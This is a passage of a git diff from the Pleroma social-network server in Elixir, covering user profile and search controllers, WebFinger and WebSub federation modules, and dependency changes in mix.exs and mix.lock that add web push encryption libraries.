|> Enum.reduce(%{}, fn key, res ->
if value = params[key] do
Map.put(res, key, value == "true")
else
res
end
end)
info_params =
if value = params["default_scope"] do
Map.put(info_params, "default_scope", value)
else
info_params
end
User.Info.profile_update(user.info, info_params)
end
defp parse_profile_bio(user, params) do
if bio = params["description"] do
Map.put(params, "bio", User.parse_bio(bio, user))
else
params
end
end
def update_profile(%{assigns: %{user: user}} = conn, params) do
params = parse_profile_bio(user, params)
info_cng = build_info_cng(user, params)
with changeset <- User.update_changeset(user, params),
changeset <- Ecto.Changeset.put_embed(changeset, :info, info_cng),
{:ok, user} <- User.update_and_set_cache(changeset) do
CommonAPI.update(user)
render(conn, UserView, "user.json", %{user: user, for: user})
else
error ->
Logger.debug("Can't update user: #{inspect(error)}")
bad_request_reply(conn, "Can't update user")
end
end
def search(%{assigns: %{user: user}} = conn, %{"q" => _query} = params) do
activities = TwitterAPI.search(user, params)
conn
|> render(ActivityView, "index.json", %{activities: activities, for: user})
end
def search_user(%{assigns: %{user: user}} = conn, %{"query" => query}) do
users = User.search(query, true)
conn
|> render(UserView, "index.json", %{users: users, for: user})
end
defp bad_request_reply(conn, error_message) do
json = error_json(conn, error_message)
json_reply(conn, 400, json)
end
defp json_reply(conn, status, json) do
conn
|> put_resp_content_type("application/json")
|> send_resp(status, json)
end
defp forbidden_json_reply(conn, error_message) do
json = error_json(conn, error_message)
json_reply(conn, 403, json)
end
def only_if_public_instance(conn = %{conn: %{assigns: %{user: _user}}}, _), do: conn
def only_if_public_instance(conn, _) do
if Keyword.get(Application.get_env(:pleroma, :instance), :public) do
conn
else
conn
|> forbidden_json_reply("Invalid credentials.")
|> halt()
end
end
defp error_json(conn, error_message) do
%{"error" => error_message, "request" => conn.request_path} |> Jason.encode!()
end
def errors(conn, {:param_cast, _}) do
conn
|> put_status(400)
|> json("Invalid parameters")
end
def errors(conn, _) do
conn
|> put_status(500)
|> json("Something went wrong")
end
end
diff --git a/lib/pleroma/web/web_finger/web_finger.ex b/lib/pleroma/web/web_finger/web_finger.ex
index 99c65a6bf..0ff3b8b5f 100644
--- a/lib/pleroma/web/web_finger/web_finger.ex
+++ b/lib/pleroma/web/web_finger/web_finger.ex
@@ -1,281 +1,281 @@
defmodule Pleroma.Web.WebFinger do
@httpoison Application.get_env(:pleroma, :httpoison)
alias Pleroma.{User, XmlBuilder}
alias Pleroma.Web
alias Pleroma.Web.{XML, Salmon, OStatus}
require Jason
require Logger
def host_meta do
base_url = Web.base_url()
{
:XRD,
%{xmlns: "http://docs.oasis-open.org/ns/xri/xrd-1.0"},
{
:Link,
%{
rel: "lrdd",
type: "application/xrd+xml",
template: "#{base_url}/.well-known/webfinger?resource={uri}"
}
}
}
|> XmlBuilder.to_doc()
end
def webfinger(resource, fmt) when fmt in ["XML", "JSON"] do
host = Pleroma.Web.Endpoint.host()
regex = ~r/(acct:)?(?<username>\w+)@#{host}/
with %{"username" => username} <- Regex.named_captures(regex, resource),
%User{} = user <- User.get_by_nickname(username) do
{:ok, represent_user(user, fmt)}
else
_e ->
with %User{} = user <- User.get_cached_by_ap_id(resource) do
{:ok, represent_user(user, fmt)}
else
_e ->
{:error, "Couldn't find user"}
end
end
end
def represent_user(user, "JSON") do
{:ok, user} = ensure_keys_present(user)
{:ok, _private, public} = Salmon.keys_from_pem(user.info.keys)
magic_key = Salmon.encode_key(public)
%{
"subject" => "acct:#{user.nickname}@#{Pleroma.Web.Endpoint.host()}",
"aliases" => [user.ap_id],
"links" => [
%{
"rel" => "http://schemas.google.com/g/2010#updates-from",
"type" => "application/atom+xml",
"href" => OStatus.feed_path(user)
},
%{
"rel" => "http://webfinger.net/rel/profile-page",
"type" => "text/html",
"href" => user.ap_id
},
%{"rel" => "salmon", "href" => OStatus.salmon_path(user)},
%{
"rel" => "magic-public-key",
"href" => "data:application/magic-public-key,#{magic_key}"
},
%{"rel" => "self", "type" => "application/activity+json", "href" => user.ap_id},
%{
"rel" => "self",
"type" => "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"",
"href" => user.ap_id
},
%{
"rel" => "http://ostatus.org/schema/1.0/subscribe",
"template" => OStatus.remote_follow_path()
}
]
}
end
def represent_user(user, "XML") do
{:ok, user} = ensure_keys_present(user)
{:ok, _private, public} = Salmon.keys_from_pem(user.info.keys)
magic_key = Salmon.encode_key(public)
{
:XRD,
%{xmlns: "http://docs.oasis-open.org/ns/xri/xrd-1.0"},
[
{:Subject, "acct:#{user.nickname}@#{Pleroma.Web.Endpoint.host()}"},
{:Alias, user.ap_id},
{:Link,
%{
rel: "http://schemas.google.com/g/2010#updates-from",
type: "application/atom+xml",
href: OStatus.feed_path(user)
}},
{:Link,
%{rel: "http://webfinger.net/rel/profile-page", type: "text/html", href: user.ap_id}},
{:Link, %{rel: "salmon", href: OStatus.salmon_path(user)}},
{:Link,
%{rel: "magic-public-key", href: "data:application/magic-public-key,#{magic_key}"}},
{:Link, %{rel: "self", type: "application/activity+json", href: user.ap_id}},
{:Link,
%{rel: "http://ostatus.org/schema/1.0/subscribe", template: OStatus.remote_follow_path()}}
]
}
|> XmlBuilder.to_doc()
end
# This seems a better fit in Salmon
def ensure_keys_present(user) do
info = user.info
if info.keys do
{:ok, user}
else
{:ok, pem} = Salmon.generate_rsa_pem()
info_cng =
info
|> Pleroma.User.Info.set_keys(pem)
cng =
Ecto.Changeset.change(user)
|> Ecto.Changeset.put_embed(:info, info_cng)
User.update_and_set_cache(cng)
end
end
defp get_magic_key(magic_key) do
"data:application/magic-public-key," <> magic_key = magic_key
{:ok, magic_key}
rescue
MatchError -> {:error, "Missing magic key data."}
end
defp webfinger_from_xml(doc) do
with magic_key <- XML.string_from_xpath(~s{//Link[@rel="magic-public-key"]/@href}, doc),
{:ok, magic_key} <- get_magic_key(magic_key),
topic <-
XML.string_from_xpath(
~s{//Link[@rel="http://schemas.google.com/g/2010#updates-from"]/@href},
doc
),
subject <- XML.string_from_xpath("//Subject", doc),
salmon <- XML.string_from_xpath(~s{//Link[@rel="salmon"]/@href}, doc),
subscribe_address <-
XML.string_from_xpath(
~s{//Link[@rel="http://ostatus.org/schema/1.0/subscribe"]/@template},
doc
),
ap_id <-
XML.string_from_xpath(
~s{//Link[@rel="self" and @type="application/activity+json"]/@href},
doc
) do
data = %{
"magic_key" => magic_key,
"topic" => topic,
"subject" => subject,
"salmon" => salmon,
"subscribe_address" => subscribe_address,
"ap_id" => ap_id
}
{:ok, data}
else
{:error, e} ->
{:error, e}
e ->
{:error, e}
end
end
defp webfinger_from_json(doc) do
data =
Enum.reduce(doc["links"], %{"subject" => doc["subject"]}, fn link, data ->
case {link["type"], link["rel"]} do
{"application/activity+json", "self"} ->
Map.put(data, "ap_id", link["href"])
{"application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"", "self"} ->
Map.put(data, "ap_id", link["href"])
{_, "magic-public-key"} ->
"data:application/magic-public-key," <> magic_key = link["href"]
Map.put(data, "magic_key", magic_key)
{"application/atom+xml", "http://schemas.google.com/g/2010#updates-from"} ->
Map.put(data, "topic", link["href"])
{_, "salmon"} ->
Map.put(data, "salmon", link["href"])
{_, "http://ostatus.org/schema/1.0/subscribe"} ->
Map.put(data, "subscribe_address", link["template"])
_ ->
Logger.debug("Unhandled type: #{inspect(link["type"])}")
data
end
end)
{:ok, data}
end
def get_template_from_xml(body) do
xpath = "//Link[@rel='lrdd']/@template"
with doc when doc != :error <- XML.parse_document(body),
template when template != nil <- XML.string_from_xpath(xpath, doc) do
{:ok, template}
end
end
def find_lrdd_template(domain) do
with {:ok, %{status: status, body: body}} when status in 200..299 <-
- @httpoison.get("http://#{domain}/.well-known/host-meta", [], follow_redirect: true) do
+ @httpoison.get("http://#{domain}/.well-known/host-meta", []) do
get_template_from_xml(body)
else
_ ->
with {:ok, %{body: body}} <- @httpoison.get("https://#{domain}/.well-known/host-meta", []) do
get_template_from_xml(body)
else
e -> {:error, "Can't find LRDD template: #{inspect(e)}"}
end
end
end
def finger(account) do
account = String.trim_leading(account, "@")
domain =
with [_name, domain] <- String.split(account, "@") do
domain
else
_e ->
URI.parse(account).host
end
address =
case find_lrdd_template(domain) do
{:ok, template} ->
String.replace(template, "{uri}", URI.encode(account))
_ ->
"https://#{domain}/.well-known/webfinger?resource=acct:#{account}"
end
with response <-
@httpoison.get(
address,
[Accept: "application/xrd+xml,application/jrd+json"],
follow_redirect: true
),
{:ok, %{status: status, body: body}} when status in 200..299 <- response do
doc = XML.parse_document(body)
if doc != :error do
webfinger_from_xml(doc)
else
with {:ok, doc} <- Jason.decode(body) do
webfinger_from_json(doc)
else
{:error, e} -> e
end
end
else
e ->
Logger.debug(fn -> "Couldn't finger #{account}" end)
Logger.debug(fn -> inspect(e) end)
{:error, e}
end
end
end
diff --git a/lib/pleroma/web/websub/websub.ex b/lib/pleroma/web/websub/websub.ex
index 0761b5475..8cb07006f 100644
--- a/lib/pleroma/web/websub/websub.ex
+++ b/lib/pleroma/web/websub/websub.ex
@@ -1,282 +1,277 @@
defmodule Pleroma.Web.Websub do
alias Ecto.Changeset
alias Pleroma.Repo
alias Pleroma.Web.Websub.{WebsubServerSubscription, WebsubClientSubscription}
alias Pleroma.Web.OStatus.FeedRepresenter
alias Pleroma.Web.{XML, Endpoint, OStatus}
alias Pleroma.Web.Router.Helpers
require Logger
import Ecto.Query
@httpoison Application.get_env(:pleroma, :httpoison)
def verify(subscription, getter \\ &@httpoison.get/3) do
challenge = Base.encode16(:crypto.strong_rand_bytes(8))
lease_seconds = NaiveDateTime.diff(subscription.valid_until, subscription.updated_at)
lease_seconds = lease_seconds |> to_string
params = %{
"hub.challenge": challenge,
"hub.lease_seconds": lease_seconds,
"hub.topic": subscription.topic,
"hub.mode": "subscribe"
}
url = hd(String.split(subscription.callback, "?"))
query = URI.parse(subscription.callback).query || ""
params = Map.merge(params, URI.decode_query(query))
with {:ok, response} <- getter.(url, [], params: params),
^challenge <- response.body do
changeset = Changeset.change(subscription, %{state: "active"})
Repo.update(changeset)
else
e ->
Logger.debug("Couldn't verify subscription")
Logger.debug(inspect(e))
{:error, subscription}
end
end
@supported_activities [
"Create",
"Follow",
"Like",
"Announce",
"Undo",
"Delete"
]
def publish(topic, user, %{data: %{"type" => type}} = activity)
when type in @supported_activities do
# TODO: Only send to still valid subscriptions.
query =
from(
sub in WebsubServerSubscription,
where: sub.topic == ^topic and sub.state == "active",
where: fragment("? > NOW()", sub.valid_until)
)
subscriptions = Repo.all(query)
Enum.each(subscriptions, fn sub ->
response =
user
|> FeedRepresenter.to_simple_form([activity], [user])
|> :xmerl.export_simple(:xmerl_xml)
|> to_string
data = %{
xml: response,
topic: topic,
callback: sub.callback,
secret: sub.secret
}
Pleroma.Web.Federator.enqueue(:publish_single_websub, data)
end)
end
def publish(_, _, _), do: ""
def sign(secret, doc) do
:crypto.hmac(:sha, secret, to_string(doc)) |> Base.encode16() |> String.downcase()
end
def incoming_subscription_request(user, %{"hub.mode" => "subscribe"} = params) do
with {:ok, topic} <- valid_topic(params, user),
{:ok, lease_time} <- lease_time(params),
secret <- params["hub.secret"],
callback <- params["hub.callback"] do
subscription = get_subscription(topic, callback)
data = %{
state: subscription.state || "requested",
topic: topic,
secret: secret,
callback: callback
}
change = Changeset.change(subscription, data)
websub = Repo.insert_or_update!(change)
change =
Changeset.change(websub, %{valid_until: NaiveDateTime.add(websub.updated_at, lease_time)})
websub = Repo.update!(change)
Pleroma.Web.Federator.enqueue(:verify_websub, websub)
{:ok, websub}
else
{:error, reason} ->
Logger.debug("Couldn't create subscription")
Logger.debug(inspect(reason))
{:error, reason}
end
end
defp get_subscription(topic, callback) do
Repo.get_by(WebsubServerSubscription, topic: topic, callback: callback) ||
%WebsubServerSubscription{}
end
# Temp hack for mastodon.
defp lease_time(%{"hub.lease_seconds" => ""}) do
# three days
{:ok, 60 * 60 * 24 * 3}
end
defp lease_time(%{"hub.lease_seconds" => lease_seconds}) do
{:ok, String.to_integer(lease_seconds)}
end
defp lease_time(_) do
# three days
{:ok, 60 * 60 * 24 * 3}
end
defp valid_topic(%{"hub.topic" => topic}, user) do
if topic == OStatus.feed_path(user) do
{:ok, OStatus.feed_path(user)}
else
{:error, "Wrong topic requested, expected #{OStatus.feed_path(user)}, got #{topic}"}
end
end
def subscribe(subscriber, subscribed, requester \\ &request_subscription/1) do
topic = subscribed.info.topic
# FIXME: Race condition, use transactions
{:ok, subscription} =
with subscription when not is_nil(subscription) <-
Repo.get_by(WebsubClientSubscription, topic: topic) do
subscribers = [subscriber.ap_id | subscription.subscribers] |> Enum.uniq()
change = Ecto.Changeset.change(subscription, %{subscribers: subscribers})
Repo.update(change)
else
_e ->
subscription = %WebsubClientSubscription{
topic: topic,
hub: subscribed.info.hub,
subscribers: [subscriber.ap_id],
state: "requested",
secret: :crypto.strong_rand_bytes(8) |> Base.url_encode64(),
user: subscribed
}
Repo.insert(subscription)
end
requester.(subscription)
end
def gather_feed_data(topic, getter \\ &@httpoison.get/1) do
with {:ok, response} <- getter.(topic),
status when status in 200..299 <- response.status,
body <- response.body,
doc <- XML.parse_document(body),
uri when not is_nil(uri) <- XML.string_from_xpath("/feed/author[1]/uri", doc),
hub when not is_nil(hub) <- XML.string_from_xpath(~S{/feed/link[@rel="hub"]/@href}, doc) do
name = XML.string_from_xpath("/feed/author[1]/name", doc)
preferredUsername = XML.string_from_xpath("/feed/author[1]/poco:preferredUsername", doc)
displayName = XML.string_from_xpath("/feed/author[1]/poco:displayName", doc)
avatar = OStatus.make_avatar_object(doc)
bio = XML.string_from_xpath("/feed/author[1]/summary", doc)
{:ok,
%{
"uri" => uri,
"hub" => hub,
"nickname" => preferredUsername || name,
"name" => displayName || name,
"host" => URI.parse(uri).host,
"avatar" => avatar,
"bio" => bio
}}
else
e ->
{:error, e}
end
end
def request_subscription(websub, poster \\ &@httpoison.post/3, timeout \\ 10_000) do
data = [
"hub.mode": "subscribe",
"hub.topic": websub.topic,
"hub.secret": websub.secret,
"hub.callback": Helpers.websub_url(Endpoint, :websub_subscription_confirmation, websub.id)
]
# This checks once a second if we are confirmed yet
websub_checker = fn ->
helper = fn helper ->
:timer.sleep(1000)
websub = Repo.get_by(WebsubClientSubscription, id: websub.id, state: "accepted")
if websub, do: websub, else: helper.(helper)
end
helper.(helper)
end
task = Task.async(websub_checker)
with {:ok, %{status: 202}} <-
poster.(websub.hub, {:form, data}, "Content-type": "application/x-www-form-urlencoded"),
{:ok, websub} <- Task.yield(task, timeout) do
{:ok, websub}
else
e ->
Task.shutdown(task)
change = Ecto.Changeset.change(websub, %{state: "rejected"})
{:ok, websub} = Repo.update(change)
Logger.debug(fn -> "Couldn't confirm subscription: #{inspect(websub)}" end)
Logger.debug(fn -> "error: #{inspect(e)}" end)
{:error, websub}
end
end
def refresh_subscriptions(delta \\ 60 * 60 * 24) do
Logger.debug("Refreshing subscriptions")
cut_off = NaiveDateTime.add(NaiveDateTime.utc_now(), delta)
query = from(sub in WebsubClientSubscription, where: sub.valid_until < ^cut_off)
subs = Repo.all(query)
Enum.each(subs, fn sub ->
Pleroma.Web.Federator.enqueue(:request_subscription, sub)
end)
end
def publish_one(%{xml: xml, topic: topic, callback: callback, secret: secret}) do
signature = sign(secret || "", xml)
Logger.info(fn -> "Pushing #{topic} to #{callback}" end)
with {:ok, %{status: code}} <-
@httpoison.post(
callback,
xml,
[
{"Content-Type", "application/atom+xml"},
{"X-Hub-Signature", "sha1=#{signature}"}
- ],
- adapter: [
- timeout: 10000,
- recv_timeout: 20000,
- pool: :default
]
) do
Logger.info(fn -> "Pushed to #{callback}, code #{code}" end)
{:ok, code}
else
e ->
Logger.debug(fn -> "Couldn't push to #{callback}, #{inspect(e)}" end)
{:error, e}
end
end
end
diff --git a/mix.exs b/mix.exs
index 1a28b6710..bd9bce766 100644
--- a/mix.exs
+++ b/mix.exs
@@ -1,135 +1,136 @@
defmodule Pleroma.Mixfile do
use Mix.Project
def project do
[
app: :pleroma,
version: version("0.9.0"),
elixir: "~> 1.4",
elixirc_paths: elixirc_paths(Mix.env()),
compilers: [:phoenix, :gettext] ++ Mix.compilers(),
start_permanent: Mix.env() == :prod,
aliases: aliases(),
deps: deps(),
# Docs
name: "Pleroma",
source_url: "https://git.pleroma.social/pleroma/pleroma",
source_url_pattern:
"https://git.pleroma.social/pleroma/pleroma/blob/develop/%{path}#L%{line}",
homepage_url: "https://pleroma.social/",
docs: [
logo: "priv/static/static/logo.png",
extras: ["README.md", "config/config.md"],
main: "readme"
]
]
end
# Configuration for the OTP application.
#
# Type `mix help compile.app` for more information.
def application do
[mod: {Pleroma.Application, []}, extra_applications: [:logger, :runtime_tools, :comeonin]]
end
# Specifies which paths to compile per environment.
defp elixirc_paths(:test), do: ["lib", "test/support"]
defp elixirc_paths(_), do: ["lib"]
# Specifies your project dependencies.
#
# Type `mix help deps` for examples and options.
defp deps do
[
{:phoenix, "~> 1.3.3"},
{:phoenix_pubsub, "~> 1.0.2"},
{:phoenix_ecto, "~> 3.3"},
{:postgrex, ">= 0.13.5"},
{:gettext, "~> 0.15"},
{:cowboy, "~> 1.1.2", override: true},
{:comeonin, "~> 4.1.1"},
{:pbkdf2_elixir, "~> 0.12.3"},
{:trailing_format_plug, "~> 0.0.7"},
{:html_sanitize_ex, "~> 1.3.0"},
{:phoenix_html, "~> 2.10"},
{:calendar, "~> 0.17.4"},
{:cachex, "~> 3.0.2"},
{:httpoison, "~> 1.2.0"},
{:tesla, "~> 1.2"},
{:jason, "~> 1.0"},
{:mogrify, "~> 0.6.1"},
{:ex_aws, "~> 2.0"},
{:ex_aws_s3, "~> 2.0"},
{:earmark, "~> 1.2"},
{:ex_machina, "~> 2.2", only: :test},
{:credo, "~> 0.9.3", only: [:dev, :test]},
{:mock, "~> 0.3.1", only: :test},
{:crypt,
git: "https://github.com/msantos/crypt", ref: "1f2b58927ab57e72910191a7ebaeff984382a1d3"},
{:cors_plug, "~> 1.5"},
- {:ex_doc, "> 0.18.3 and < 0.20.0", only: :dev, runtime: false}
+ {:ex_doc, "> 0.18.3 and < 0.20.0", only: :dev, runtime: false},
+ {:web_push_encryption, "~> 0.2.1"}
]
end
# Aliases are shortcuts or tasks specific to the current project.
# For example, to create, migrate and run the seeds file at once:
#
# $ mix ecto.setup
#
# See the documentation for `Mix` for more info on aliases.
defp aliases do
[
"ecto.setup": ["ecto.create", "ecto.migrate", "run priv/repo/seeds.exs"],
"ecto.reset": ["ecto.drop", "ecto.setup"],
test: ["ecto.create --quiet", "ecto.migrate", "test"]
]
end
# Builds a version string made of:
# * the application version
# * a pre-release if ahead of the tag: the describe string (-count-commithash)
# * build info:
# * a build name if `PLEROMA_BUILD_NAME` or `:pleroma, :build_name` is defined
# * the mix environment if different than prod
defp version(version) do
{git_tag, git_pre_release} =
with {tag, 0} <- System.cmd("git", ["describe", "--tags", "--abbrev=0"]),
tag = String.trim(tag),
{describe, 0} <- System.cmd("git", ["describe", "--tags", "--abbrev=8"]),
describe = String.trim(describe),
ahead <- String.replace(describe, tag, "") do
{String.replace_prefix(tag, "v", ""), if(ahead != "", do: String.trim(ahead))}
else
_ -> {nil, nil}
end
if git_tag && version != git_tag do
Mix.shell().error(
"Application version #{inspect(version)} does not match git tag #{inspect(git_tag)}"
)
end
build_name =
cond do
name = Application.get_env(:pleroma, :build_name) -> name
name = System.get_env("PLEROMA_BUILD_NAME") -> name
true -> nil
end
env_name = if Mix.env() != :prod, do: to_string(Mix.env())
build =
[build_name, env_name]
|> Enum.filter(fn string -> string && string != "" end)
|> Enum.join("-")
|> (fn
"" -> nil
string -> "+" <> string
end).()
[version, git_pre_release, build]
|> Enum.filter(fn string -> string && string != "" end)
|> Enum.join()
end
end
diff --git a/mix.lock b/mix.lock
index 4c70061d3..ff8e9fdca 100644
--- a/mix.lock
+++ b/mix.lock
@@ -1,55 +1,58 @@
%{
+ "base64url": {:hex, :base64url, "0.0.1", "36a90125f5948e3afd7be97662a1504b934dd5dac78451ca6e9abf85a10286be", [:rebar], [], "hexpm"},
"bunt": {:hex, :bunt, "0.2.0", "951c6e801e8b1d2cbe58ebbd3e616a869061ddadcc4863d0a2182541acae9a38", [:mix], [], "hexpm"},
"cachex": {:hex, :cachex, "3.0.2", "1351caa4e26e29f7d7ec1d29b53d6013f0447630bbf382b4fb5d5bad0209f203", [:mix], [{:eternal, "~> 1.2", [hex: :eternal, repo: "hexpm", optional: false]}, {:unsafe, "~> 1.0", [hex: :unsafe, repo: "hexpm", optional: false]}], "hexpm"},
"calendar": {:hex, :calendar, "0.17.4", "22c5e8d98a4db9494396e5727108dffb820ee0d18fed4b0aa8ab76e4f5bc32f1", [:mix], [{:tzdata, "~> 0.5.8 or ~> 0.1.201603", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm"},
"certifi": {:hex, :certifi, "2.3.1", "d0f424232390bf47d82da8478022301c561cf6445b5b5fb6a84d49a9e76d2639", [:rebar3], [{:parse_trans, "3.2.0", [hex: :parse_trans, repo: "hexpm", optional: false]}], "hexpm"},
"comeonin": {:hex, :comeonin, "4.1.1", "c7304fc29b45b897b34142a91122bc72757bc0c295e9e824999d5179ffc08416", [:mix], [{:argon2_elixir, "~> 1.2", [hex: :argon2_elixir, repo: "hexpm", optional: true]}, {:bcrypt_elixir, "~> 0.12.1 or ~> 1.0", [hex: :bcrypt_elixir, repo: "hexpm", optional: true]}, {:pbkdf2_elixir, "~> 0.12", [hex: :pbkdf2_elixir, repo: "hexpm", optional: true]}], "hexpm"},
"connection": {:hex, :connection, "1.0.4", "a1cae72211f0eef17705aaededacac3eb30e6625b04a6117c1b2db6ace7d5976", [:mix], [], "hexpm"},
"cors_plug": {:hex, :cors_plug, "1.5.2", "72df63c87e4f94112f458ce9d25800900cc88608c1078f0e4faddf20933eda6e", [:mix], [{:plug, "~> 1.3 or ~> 1.4 or ~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
"cowboy": {:hex, :cowboy, "1.1.2", "61ac29ea970389a88eca5a65601460162d370a70018afe6f949a29dca91f3bb0", [:rebar3], [{:cowlib, "~> 1.0.2", [hex: :cowlib, repo: "hexpm", optional: false]}, {:ranch, "~> 1.3.2", [hex: :ranch, repo: "hexpm", optional: false]}], "hexpm"},
"cowlib": {:hex, :cowlib, "1.0.2", "9d769a1d062c9c3ac753096f868ca121e2730b9a377de23dec0f7e08b1df84ee", [:make], [], "hexpm"},
"credo": {:hex, :credo, "0.9.3", "76fa3e9e497ab282e0cf64b98a624aa11da702854c52c82db1bf24e54ab7c97a", [:mix], [{:bunt, "~> 0.2.0", [hex: :bunt, repo: "hexpm", optional: false]}, {:poison, ">= 0.0.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"},
"crypt": {:git, "https://github.com/msantos/crypt", "1f2b58927ab57e72910191a7ebaeff984382a1d3", [ref: "1f2b58927ab57e72910191a7ebaeff984382a1d3"]},
"db_connection": {:hex, :db_connection, "1.1.3", "89b30ca1ef0a3b469b1c779579590688561d586694a3ce8792985d4d7e575a61", [:mix], [{:connection, "~> 1.0.2", [hex: :connection, repo: "hexpm", optional: false]}, {:poolboy, "~> 1.5", [hex: :poolboy, repo: "hexpm", optional: true]}, {:sbroker, "~> 1.0", [hex: :sbroker, repo: "hexpm", optional: true]}], "hexpm"},
"decimal": {:hex, :decimal, "1.5.0", "b0433a36d0e2430e3d50291b1c65f53c37d56f83665b43d79963684865beab68", [:mix], [], "hexpm"},
"earmark": {:hex, :earmark, "1.2.6", "b6da42b3831458d3ecc57314dff3051b080b9b2be88c2e5aa41cd642a5b044ed", [:mix], [], "hexpm"},
"ecto": {:hex, :ecto, "2.2.10", "e7366dc82f48f8dd78fcbf3ab50985ceeb11cb3dc93435147c6e13f2cda0992e", [:mix], [{:db_connection, "~> 1.1", [hex: :db_connection, repo: "hexpm", optional: true]}, {:decimal, "~> 1.2", [hex: :decimal, repo: "hexpm", optional: false]}, {:mariaex, "~> 0.8.0", [hex: :mariaex, repo: "hexpm", optional: true]}, {:poison, "~> 2.2 or ~> 3.0", [hex: :poison, repo: "hexpm", optional: true]}, {:poolboy, "~> 1.5", [hex: :poolboy, repo: "hexpm", optional: false]}, {:postgrex, "~> 0.13.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:sbroker, "~> 1.0", [hex: :sbroker, repo: "hexpm", optional: true]}], "hexpm"},
"eternal": {:hex, :eternal, "1.2.0", "e2a6b6ce3b8c248f7dc31451aefca57e3bdf0e48d73ae5043229380a67614c41", [:mix], [], "hexpm"},
"ex_aws": {:hex, :ex_aws, "2.1.0", "b92651527d6c09c479f9013caa9c7331f19cba38a650590d82ebf2c6c16a1d8a", [:mix], [{:configparser_ex, "~> 2.0", [hex: :configparser_ex, repo: "hexpm", optional: true]}, {:hackney, "1.6.3 or 1.6.5 or 1.7.1 or 1.8.6 or ~> 1.9", [hex: :hackney, repo: "hexpm", optional: true]}, {:jsx, "~> 2.8", [hex: :jsx, repo: "hexpm", optional: true]}, {:poison, ">= 1.2.0", [hex: :poison, repo: "hexpm", optional: true]}, {:sweet_xml, "~> 0.6", [hex: :sweet_xml, repo: "hexpm", optional: true]}, {:xml_builder, "~> 0.1.0", [hex: :xml_builder, repo: "hexpm", optional: true]}], "hexpm"},
"ex_aws_s3": {:hex, :ex_aws_s3, "2.0.1", "9e09366e77f25d3d88c5393824e613344631be8db0d1839faca49686e99b6704", [:mix], [{:ex_aws, "~> 2.0", [hex: :ex_aws, repo: "hexpm", optional: false]}, {:sweet_xml, ">= 0.0.0", [hex: :sweet_xml, repo: "hexpm", optional: true]}], "hexpm"},
"ex_doc": {:hex, :ex_doc, "0.19.1", "519bb9c19526ca51d326c060cb1778d4a9056b190086a8c6c115828eaccea6cf", [:mix], [{:earmark, "~> 1.1", [hex: :earmark, repo: "hexpm", optional: false]}, {:makeup_elixir, "~> 0.7", [hex: :makeup_elixir, repo: "hexpm", optional: false]}], "hexpm"},
"ex_machina": {:hex, :ex_machina, "2.2.0", "fec496331e04fc2db2a1a24fe317c12c0c4a50d2beb8ebb3531ed1f0d84be0ed", [:mix], [{:ecto, "~> 2.1", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm"},
"gettext": {:hex, :gettext, "0.15.0", "40a2b8ce33a80ced7727e36768499fc9286881c43ebafccae6bab731e2b2b8ce", [:mix], [], "hexpm"},
"hackney": {:hex, :hackney, "1.13.0", "24edc8cd2b28e1c652593833862435c80661834f6c9344e84b6a2255e7aeef03", [:rebar3], [{:certifi, "2.3.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "5.1.2", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "1.0.2", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.1", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"},
"html_sanitize_ex": {:hex, :html_sanitize_ex, "1.3.0", "f005ad692b717691203f940c686208aa3d8ffd9dd4bb3699240096a51fa9564e", [:mix], [{:mochiweb, "~> 2.15", [hex: :mochiweb, repo: "hexpm", optional: false]}], "hexpm"},
"httpoison": {:hex, :httpoison, "1.2.0", "2702ed3da5fd7a8130fc34b11965c8cfa21ade2f232c00b42d96d4967c39a3a3", [:mix], [{:hackney, "~> 1.8", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm"},
"idna": {:hex, :idna, "5.1.2", "e21cb58a09f0228a9e0b95eaa1217f1bcfc31a1aaa6e1fdf2f53a33f7dbd9494", [:rebar3], [{:unicode_util_compat, "0.3.1", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm"},
"jason": {:hex, :jason, "1.0.0", "0f7cfa9bdb23fed721ec05419bcee2b2c21a77e926bce0deda029b5adc716fe2", [:mix], [{:decimal, "~> 1.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm"},
+ "jose": {:hex, :jose, "1.8.4", "7946d1e5c03a76ac9ef42a6e6a20001d35987afd68c2107bcd8f01a84e75aa73", [:mix, :rebar3], [{:base64url, "~> 0.0.1", [hex: :base64url, repo: "hexpm", optional: false]}], "hexpm"},
"makeup": {:hex, :makeup, "0.5.5", "9e08dfc45280c5684d771ad58159f718a7b5788596099bdfb0284597d368a882", [:mix], [{:nimble_parsec, "~> 0.4", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm"},
"makeup_elixir": {:hex, :makeup_elixir, "0.10.0", "0f09c2ddf352887a956d84f8f7e702111122ca32fbbc84c2f0569b8b65cbf7fa", [:mix], [{:makeup, "~> 0.5.5", [hex: :makeup, repo: "hexpm", optional: false]}], "hexpm"},
"meck": {:hex, :meck, "0.8.9", "64c5c0bd8bcca3a180b44196265c8ed7594e16bcc845d0698ec6b4e577f48188", [:rebar3], [], "hexpm"},
"metrics": {:hex, :metrics, "1.0.1", "25f094dea2cda98213cecc3aeff09e940299d950904393b2a29d191c346a8486", [:rebar3], [], "hexpm"},
"mime": {:hex, :mime, "1.3.0", "5e8d45a39e95c650900d03f897fbf99ae04f60ab1daa4a34c7a20a5151b7a5fe", [:mix], [], "hexpm"},
"mimerl": {:hex, :mimerl, "1.0.2", "993f9b0e084083405ed8252b99460c4f0563e41729ab42d9074fd5e52439be88", [:rebar3], [], "hexpm"},
"mochiweb": {:hex, :mochiweb, "2.15.0", "e1daac474df07651e5d17cc1e642c4069c7850dc4508d3db7263a0651330aacc", [:rebar3], [], "hexpm"},
"mock": {:hex, :mock, "0.3.1", "994f00150f79a0ea50dc9d86134cd9ebd0d177ad60bd04d1e46336cdfdb98ff9", [:mix], [{:meck, "~> 0.8.8", [hex: :meck, repo: "hexpm", optional: false]}], "hexpm"},
